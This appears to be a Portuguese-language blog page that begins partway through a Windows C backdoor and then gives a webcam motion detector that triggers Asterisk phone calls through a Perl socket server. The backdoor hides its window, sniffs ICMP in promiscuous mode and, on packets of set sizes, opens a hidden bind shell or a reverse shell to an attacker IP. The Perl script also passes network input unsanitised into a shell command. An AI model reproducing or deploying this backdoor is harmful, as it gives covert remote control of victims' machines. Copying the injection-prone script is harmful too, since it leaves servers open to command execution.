       sendrecv=accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
      sa.nLength = sizeof(SECURITY_ATTRIBUTES);
      sa.bInheritHandle = TRUE; 
      sa.lpSecurityDescriptor = NULL;
      if(!CreatePipe(&OutputRead, &OutputWrite, &sa, 0))
             printf(“CreatePipe %d”, GetLastError());
         if(!CreatePipe(&InputRead, &InputWrite, &sa, 0))
       printf(“CreatePipe %d”, GetLastError());

 memset((void *) &si, 0, sizeof(si));
 memset((void *) &pi, 0, sizeof(pi));

 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

 si.wShowWindow = SW_HIDE;
 si.hStdInput = InputRead;
 si.hStdOutput = OutputWrite;
 si.hStdError = OutputWrite;

 if (!CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
  printf(“CreateProcess %d”, GetLastError());

 CloseHandle(OutputWrite);
 CloseHandle(InputRead);

 if (!CreateThread(NULL, 0, Output, NULL, 0, &threadIdOut))
  printf(“CreateThread %d”, GetLastError());
 if (!CreateThread(NULL, 0, Input, NULL, 0, &threadIdIn))
  printf(“CreateThread %d”, GetLastError());

 uscita=FALSE;

 while(uscita!=TRUE)
  Sleep(100);
}
DWORD WINAPI Output(LPVOID data){
 char buffer[MAXBUFFER];
 DWORD bytes;

 do{
  ReadFile(OutputRead, &buffer, MAXBUFFER, &bytes, NULL); 
  buffer[bytes]=0;
  if (bytes>0)
   send(sendrecv, buffer, bytes, 0);
  else
   uscita=TRUE;
  Sleep(100);
 }
 while(TRUE);
}

DWORD WINAPI Input(LPVOID data){
char buffer[MAXBUFFER];
 DWORD bytes;

 do{
  bytes=recv(sendrecv, buffer, MAXBUFFER, 0);
  buffer[bytes]=0;
  WriteFile(InputWrite, &buffer, strlen(buffer), &bytes, NULL);
  Sleep(100);
 }
 while(TRUE);
}

 

 

void MeBinda()
 {
         WSADATA wsaData;
         SOCKET hSocket;
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
         struct sockaddr_in adik_sin;
         memset(&adik_sin,0,sizeof(adik_sin));
         memset(&si,0,sizeof(si));
         WSAStartup(MAKEWORD(2,0),&wsaData);
         hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
         adik_sin.sin_family = AF_INET;
         adik_sin.sin_port = htons(55);
         adik_sin.sin_addr.s_addr = inet_addr(MEUIP_VALIDO);
         connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
         si.wShowWindow = SW_HIDE;
         si.cb = sizeof(si);
         si.wShowWindow = SW_HIDE;
         si.dwFlags = STARTF_USESTDHANDLES;
         si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
         CreateProcess(NULL,SHELL_NAME,NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
         ExitProcess(0);

 }

 
void PegaPacotes(char* Buffer, int Size)
{
 IpHeader *iphdr;
 TcpUdpPort *port;
 struct sockaddr_in SockAddr;
 unsigned short iphdrlen;
 char C;
   
 iphdr = (IpHeader *)Buffer;

 iphdrlen = (iphdr->VerIHL << 4);
 memcpy(&C, &iphdrlen, 1);
 iphdrlen = (C >> 4) * 4; //20

 switch (iphdr->Protocol)
 {
 case 1:
         printf(“\n”);
  printf(“Tamanho do Pacote %d \n”, BytesRecv);
        printf(“Protocolo: ICMP “);
  memset(&SockAddr, 0, sizeof(SockAddr));
     SockAddr.sin_addr.s_addr = iphdr->SrcIP;
     printf(“Pacote de: %s “, inet_ntoa(SockAddr.sin_addr));
     memset(&SockAddr, 0, sizeof(SockAddr));
     SockAddr.sin_addr.s_addr = iphdr->DstIP;
     printf(“Para: %s “, inet_ntoa(SockAddr.sin_addr));
     if(verifica == 0) {      
        if(BytesRecv == 400+28){
         MostraMsg();}
        if(BytesRecv == 500+28){
         TelNete();}                    
        if(BytesRecv == 600+28){
         MeBinda();}
               }
       
       
        break;

 }
}

void IniciaCaptura(SOCKET Sock)
{
 char *RecvBuffer = (char *)malloc(MAX_PACKET_SIZE + 1);
 int FromLen;
 struct sockaddr_in From;

 if (RecvBuffer == NULL)
 {
  printf(“malloc() falhou.\n”);
  exit(-1);
 }

 FromLen = sizeof(From);

 do
 {
  memset(RecvBuffer, 0, MAX_PACKET_SIZE + 1);
  memset(&From, 0, sizeof(From));

  BytesRecv = recvfrom(Sock, RecvBuffer, MAX_PACKET_SIZE, 0, (struct sockaddr *)&From, &FromLen);
  
  if (BytesRecv > 0)
  {
   PegaPacotes(RecvBuffer, BytesRecv);
  }
  else
  {
   printf( “recvfrom() falhou.\n”);
  }

 } while (BytesRecv > 0);
 free(RecvBuffer);
}

int main()
{
    /*HWND hWnd = GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE );*/
 //Ativar as duas linhas para tornar a janela inivisível
    WSADATA wsaData;
 SOCKET Sock;
 struct sockaddr_in SockAddr;
 struct hostent *he;
 DWORD BytesReturned;
 int I = 1;

 

  if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  {
   printf(“WSAStartup() falhou.\n”);
   exit(-1);
  }

  Sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

  if (Sock == INVALID_SOCKET)
  {
   printf(“socket() falhou.\n”);
   exit(-1);
  }
        PegaIP();     
  memset(&SockAddr, 0, sizeof(SockAddr));
  SockAddr.sin_addr.s_addr = inet_addr(BIND2IP);
  

        printf(“Modo Promiscuo Ativado Interceptando pacotes ICMP para o IP:(%s)\n”, BIND2IP);

  SockAddr.sin_family = AF_INET;
  SockAddr.sin_port = 0;

  if (bind(Sock, (struct sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
  {
   
   printf(“socket() falhou.\n”);
   exit(-1);
  }

 

  if (WSAIoctl(Sock, SIO_RCVALL, &I, sizeof(I), NULL, 0, &BytesReturned, NULL, NULL) == SOCKET_ERROR)
  {
   printf(“WSAIoctl() falhou.\n”);
   exit(-1);
  }
      
  IniciaCaptura(Sock);

 {
  printf(“Problemas\n”);
 }

 closesocket(Sock);
 WSACleanup();

 return 0;
}

Protótipo: Asterisk + Visão Computacional = Monitoramento

/*

#    _
#   |_)\_/
#   |_) |
#
#
#    ___    _              _       ___
#   | __|__| |___ _ _   __| |___  / __| ___ _  _ _____ _
#   | _|/ _` / -_) ‘_| / _` / -_) \__ \/ _ \ || |_ / _` |
#   |___\__,_\___|_|   \__,_\___| |___/\___/\_,_/__\__,_|
Conecta Uma Web Cam e fica a espera de qualquer movimento detectado e faz
conexão com o Asterisk para iniciar Ligação …
Instruções de Compilação:
    DevC++: Tools > Compiler Options > Add linker -lhighgui -lcv -lcxcore
-lcvaux -lcvcam -lws2_32.
   
    Inserir todos os Includes do OpenCV e integrar ao compilador
   
————————————————————————————————————
Dependências:
    windows -> winsock2.h, WSDATA wsa_data, OpenCV.
    unix/linux -> <sys/types.h>, <sys/socket.h>, <arpa/inet.h>, OpenCV.
    comuns -> <iostream>, <unistd.h>, <string.h>, OpenCv
   
   
    Eng. Eder de Souza
    email: ederwan…@gmail.com, ederwan…@yahoo.com.br
   
     Data: 17-07-2009
    Visão Computacional + Asterisk para monitoramento via Web Cam
    Monitoramento de áreas sem presença de movimentos, se alguma percepção de
movimento for encontrado Servidor Asterisk Liga para comunicação …
   
*/
#include <stdlib.h>
 
// OpenCV includes.
#include <cv.h>
#include <highgui.h>
//
#include <iostream>
#include <process.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
#ifdef unix
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#else
#include <winsock2.h>
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
WSADATA wsa_data;
#endif
 
#define DEFAULT_BUFLEN 512
//IP e Porta para se Conectar ao Socket Perl Asterisk
#define DEFAULT_PORT 8888
#define IP “192.168.0.34”
//Intervalo para Iniciar a Ligação entre um movimento detectado
//Valor em mili-Segundos
#define intervalo 50000
using namespace std;
long int cont = 0;
int Me_Liga() {
    //———————-
    // Declarando e inicializando Variaveis.
    int iResult;
    WSADATA wsaData;
    SOCKET ConnectSocket;
    struct sockaddr_in clientService;
    int recvbuflen = DEFAULT_BUFLEN;
    char *sendbuf = “Movimento Detectado\n”;
    char recvbuf[DEFAULT_BUFLEN] = “”;
    //———————-
    // Inicializando o  Winsock
    iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR) {
        printf(“WSAStartup Falhou com erro: %d\n”, iResult);
        return 1;
    }
    //———————-
    // Criando o Socket para se conectar ao Servidor
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ConnectSocket == INVALID_SOCKET) {
        printf(“socket Falhou com erro: %ld\n”, WSAGetLastError());
        WSACleanup();
        return 1;
    }
    //———————-
    // IP e porta do Servidor Perl Asterisk para se conectar.
    clientService.sin_family = AF_INET;
    clientService.sin_addr.s_addr = inet_addr( IP );
    clientService.sin_port = htons( DEFAULT_PORT );
    //———————-
    // Conecta ao server em perl com o Asterisk.
    iResult = connect( ConnectSocket, (SOCKADDR*) &clientService,
sizeof(clientService) );
    if (iResult == SOCKET_ERROR) {
        printf( “Conexao Falhou com erro: %d\n”, WSAGetLastError() );
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
  }
    //———————-
    // Enviando mensagem para Servidor
    iResult = send( ConnectSocket, sendbuf, (int)strlen(sendbuf), 0 );
    if (iResult == SOCKET_ERROR) {
        printf(“send() Falhou com erro: %d\n”, WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
    }
    printf(“Bytes envido: %d\n”, iResult);
    // Mata a Conexao com o Socket
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf(“shutdown falhou com  erro: %d\n”, WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
    }
    // Resposta do socket
    do {
        iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
        if ( iResult > 0 )
            printf(“Bytes recebido: %d\n”, iResult);
        else if ( iResult == 0 )
            printf(“Conexao Encerrada\n”);
        else
            printf(“recebimento falhou com erro: %d\n”, WSAGetLastError());
    } while( iResult > 0 );

    // limpando
    closesocket(ConnectSocket);
    WSACleanup();
 
}

static void Thread1 (LPVOID lpParam){
   
   
  
            cont=cont+1;
            Sleep(intervalo);
   
    printf(“%d Contador \n”, cont);
  
  if(cont >= 1){
    cont=0;
    Me_Liga();
   
}
}

int main()
{
 //Cria uma janela
 cvNamedWindow(“Eng_Eder_souza”, CV_WINDOW_AUTOSIZE);
 
 //Cria objeto para captura.
 CvCapture* inputMovie;
 
 //Informa o modo de captura.
     inputMovie = cvCaptureFromCAM(0);

 
 //tamanho da imagem
 CvSize imgSize;
 imgSize.width = 320;
 imgSize.height = 240;
 
 //Imagens para usar no programa
 IplImage* greyImage = cvCreateImage( imgSize, IPL_DEPTH_8U, 1);
 IplImage* colourImage;
 IplImage* movingAverage = cvCreateImage( imgSize, IPL_DEPTH_32F, 3);
 IplImage* difference;
 IplImage* temp;
 IplImage* motionHistory = cvCreateImage( imgSize, IPL_DEPTH_8U, 3);
 
 //Retangulo nos objetos
 CvRect bndRect = cvRect(0,0,0,0);
 
 //Pontos para o retangulo
 CvPoint pt1, pt2;
 
 //Cria uma font para o objeto.
 CvFont font;
 
 
 
 int inicio = 0;
 
 //Buffer
 
 char Scores[60000];
 
          
 //centraliza X do retangulo
 int avgX = 0;
 
 //Indica a primeira vez do loop de um frame
 bool first = true;
 
 
 //Mantem proceços do Frame de pé
 for(;;)
 {
  //Pega o Frame da entrada de Video
  colourImage = cvQueryFrame(inputMovie);
 
  //Se nao existir mais framas cair fora do For
  if( !colourImage )
  {
   break;
  }
  
  //Primeira vez para iniciar Imagem
  if(first)
  {
   difference = cvCloneImage(colourImage);
   temp = cvCloneImage(colourImage);
   cvConvertScale(colourImage, movingAverage, 1.0, 0.0);
   
   first = false;
  }
  //else, faz a detecção de movimento
  else
  {
   cvRunningAvg(colourImage, movingAverage, 0.020, NULL);
  }
 
  //Converte a scala do video
  cvConvertScale(movingAverage, temp, 1.0, 0.0);
 
  //analiza o frame corrente
  cvAbsDiff(colourImage,temp,difference);
  
  //converte a imagem para grayscale.
  cvCvtColor(difference, greyImage, CV_RGB2GRAY);
  
  //Converte a imagem para black and white.
  cvThreshold(greyImage, greyImage, 70, 255, CV_THRESH_BINARY);
  
  cvDilate(greyImage, greyImage, 0, 18);
  cvErode(greyImage, greyImage, 0, 10);
 
  //acha o contador de imagens em video
  CvMemStorage* storage = cvCreateMemStorage(0);
        CvSeq* contour = 0;
  cvFindContours( greyImage, storage, &contour, sizeof(CvContour),
CV_RETR_CCOMP, CV_CHAIN_APPROX_SIMPLE );
 
  //processa cada movimento no frame corrente
        for( ; contour != 0; contour = contour->h_next )
        {
   //pega quadrado nos objetos em movimento
   bndRect = cvBoundingRect(contour, 0);
 
   pt1.x = bndRect.x;
   pt1.y = bndRect.y;
   pt2.x = bndRect.x + bndRect.width;
   pt2.y = bndRect.y + bndRect.height;
         sprintf(Scores, “Com Movimento”);
   
   
   if(inicio == 0){
            Me_Liga();
            inicio = 1;
            }
            else{
                
               
                 if(cont == 0){
                  //Inicia a Thread para o Intervalo de tempo para Ligar
                 _beginthread( Thread1, 0, NULL );}
                 }
   
            }
         
   
 
  //desenha um retangulo nos objetos em movimento.
  cvRectangle(colourImage, pt1, pt2, CV_RGB(255,0,0), 1);
 
        cvInitFont(&font, CV_FONT_HERSHEY_SIMPLEX, 0.8, 0.8, 0, 2);
  cvPutText(colourImage, Scores, cvPoint(60, 200), &font, cvScalar(0, 0, 300));
  
  //Mostra o Frame.
  cvShowImage(“Eng_Eder_souza”, colourImage);
  
  
  cvWaitKey(10);
  sprintf(Scores, “Sem Movimento”);
        printf(“Apenas um Frame\n”);
  //Escreve o Frame no video de saida
 
 }
 
 // Termina com a imagem o video e a janela
 cvReleaseImage(&temp);
 cvReleaseImage(&difference);
 cvReleaseImage(&greyImage);
 cvReleaseImage(&movingAverage);
 cvDestroyWindow(“Eng_Eder_souza”);
 
 cvReleaseCapture(&inputMovie);
 
 return(0);
}
 
 
///#####FIM#####
 
Agora Segue script em Perl que recebe o socket e dispara a Ligação via Asterisk
este deve estar no servidor Asterisk executando no servidor Asterisk.
 
exemplo “perl serverasteriskEder.pl 8888″
 
#Eng. Eder de Souza
#    email: ederwan…@gmail.com, ederwan…@yahoo.com.br
#    Data: 22-09-2008
use IO::Socket::INET;
use strict;

my $numero;
my $arquivo;
my $r;
my $port = shift
    or die”Falta o numero da porta\n”;
my $socket = IO::Socket::INET->new(‘LocalPort’ => $port,
                                   ‘Proto’ => ‘tcp’,
                                   ‘Listen’ => SOMAXCONN)
    or die “Can’t create socket ($!)\n”;
print “Server listening\n”;
while (my $client = $socket->accept) {
    my $name = gethostbyaddr($client->peeraddr, AF_INET);
    my $port = $client->peerport;
    while (<$client>) {
        print “[$name $port] $_”;
        print $client “$.: $_”;
$r = $_;
if( $r =~ /Movimento/) {
print $r,”\n”;
        system(“echo ‘$r’ > /tmp/test.txt”);
        open ($arquivo, ‘</var/lib/asterisk/agi-bin/telefones.txt’);
        while (<$arquivo>) {
           $numero = $_;
           my $discar = “/var/spool/asterisk/”.$numero.”.call”;
           my $arqdestino = “/var/spool/asterisk/outgoing/” ;
           open(EXTEN,”>$discar”);
           print EXTEN “Channel: Sip/$numero\n”;
           print EXTEN “MaxRetries: 5\n”;
           print EXTEN “RetryTime: 60 \n”;
           print EXTEN “WaitTime: 60 \n”;
           print EXTEN “Context: Saida\n”;
           print EXTEN “Extension: 3300\n”;
           print EXTEN “Priority: 1\n”;
           close(EXTEN);
           system(“mv /var/spool/asterisk/*.call $arqdestino”);
       }
       close $arquivo;

        }
 

}
    close $client
        or die “cliente encerrou conexao ($!)\n”;
}
die “socket com problema ($!)\n”;

 
###FIM###
 
 
[]’s
 
Eng Eder de Souza